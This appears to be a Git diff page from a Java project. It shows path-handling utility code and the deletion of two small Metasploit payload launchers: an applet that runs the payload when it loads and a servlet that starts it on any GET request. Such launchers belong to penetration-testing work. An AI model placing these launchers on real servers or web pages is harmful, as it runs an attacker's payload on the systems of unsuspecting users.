||||
private static String addExtension(String command) {
|
||||
// This is the most common extension case - exe for windows and OS/2,
|
||||
// nothing for *nix.
|
||||
return command + (IS_DOS ? ".exe" : "");
|
||||
}
|
||||
|
||||
private static File findInDir(String dirName, String commandName) {
|
||||
File dir = normalize(dirName);
|
||||
File executable = null;
|
||||
if (dir.exists()) {
|
||||
executable = new File(dir, addExtension(commandName));
|
||||
if (!executable.exists()) {
|
||||
executable = null;
|
||||
}
|
||||
}
|
||||
return executable;
|
||||
}
|
||||
|
||||
private static File normalize(final String path) {
|
||||
Stack s = new Stack();
|
||||
String[] dissect = dissect(path);
|
||||
s.push(dissect[0]);
|
||||
|
||||
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
|
||||
while (tok.hasMoreTokens()) {
|
||||
String thisToken = tok.nextToken();
|
||||
if (".".equals(thisToken)) {
|
||||
continue;
|
||||
}
|
||||
if ("..".equals(thisToken)) {
|
||||
if (s.size() < 2) {
|
||||
// Cannot resolve it, so skip it.
|
||||
return new File(path);
|
||||
}
|
||||
s.pop();
|
||||
} else { // plain component
|
||||
s.push(thisToken);
|
||||
}
|
||||
}
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = 0; i < s.size(); i++) {
|
||||
if (i > 1) {
|
||||
// not before the filesystem root and not after it, since root
|
||||
// already contains one
|
||||
sb.append(File.separatorChar);
|
||||
}
|
||||
sb.append(s.elementAt(i));
|
||||
}
|
||||
return new File(sb.toString());
|
||||
}
|
||||
|
||||
private static String[] dissect(String path) {
|
||||
char sep = File.separatorChar;
|
||||
path = path.replace('/', sep).replace('\\', sep);
|
||||
// make sure we are dealing with an absolute path
|
||||
String root = null;
|
||||
int colon = path.indexOf(':');
|
||||
if (colon > 0 && IS_DOS) {
|
||||
|
||||
int next = colon + 1;
|
||||
root = path.substring(0, next);
|
||||
char[] ca = path.toCharArray();
|
||||
root += sep;
|
||||
//remove the initial separator; the root has it.
|
||||
next = (ca[next] == sep) ? next + 1 : next;
|
||||
|
||||
StringBuffer sbPath = new StringBuffer();
|
||||
// Eliminate consecutive slashes after the drive spec:
|
||||
for (int i = next; i < ca.length; i++) {
|
||||
if (ca[i] != sep || ca[i - 1] != sep) {
|
||||
sbPath.append(ca[i]);
|
||||
}
|
||||
}
|
||||
path = sbPath.toString();
|
||||
} else if (path.length() > 1 && path.charAt(1) == sep) {
|
||||
// UNC drive
|
||||
int nextsep = path.indexOf(sep, 2);
|
||||
nextsep = path.indexOf(sep, nextsep + 1);
|
||||
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
|
||||
path = path.substring(root.length());
|
||||
} else {
|
||||
root = File.separator;
|
||||
path = path.substring(1);
|
||||
}
|
||||
return new String[] {root, path};
|
||||
}
|
||||
}
|
||||
-14
@@ -1,14 +0,0 @@
|
||||
|
||||
package metasploit;
|
||||
|
||||
import java.applet.*;
|
||||
|
||||
public class PayloadApplet extends Applet {
|
||||
public void init() {
|
||||
try {
|
||||
Payload.main(null);
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package metasploit;
|
||||
|
||||
import java.io.*;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.*;
|
||||
import java.lang.Thread;
|
||||
|
||||
public class PayloadServlet extends HttpServlet implements Runnable {
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
metasploit.Payload.main(new String[] {""});
|
||||
} catch (Exception e) {}
|
||||
}
|
||||
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse res)
|
||||
throws ServletException, java.io.IOException
|
||||
{
|
||||
PrintWriter out = res.getWriter();
|
||||
|
||||
try {
|
||||
Thread t = new Thread(this);
|
||||
t.start();
|
||||
} catch(Exception e) { };
|
||||
|
||||
out.close();
|
||||
}
|
||||
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user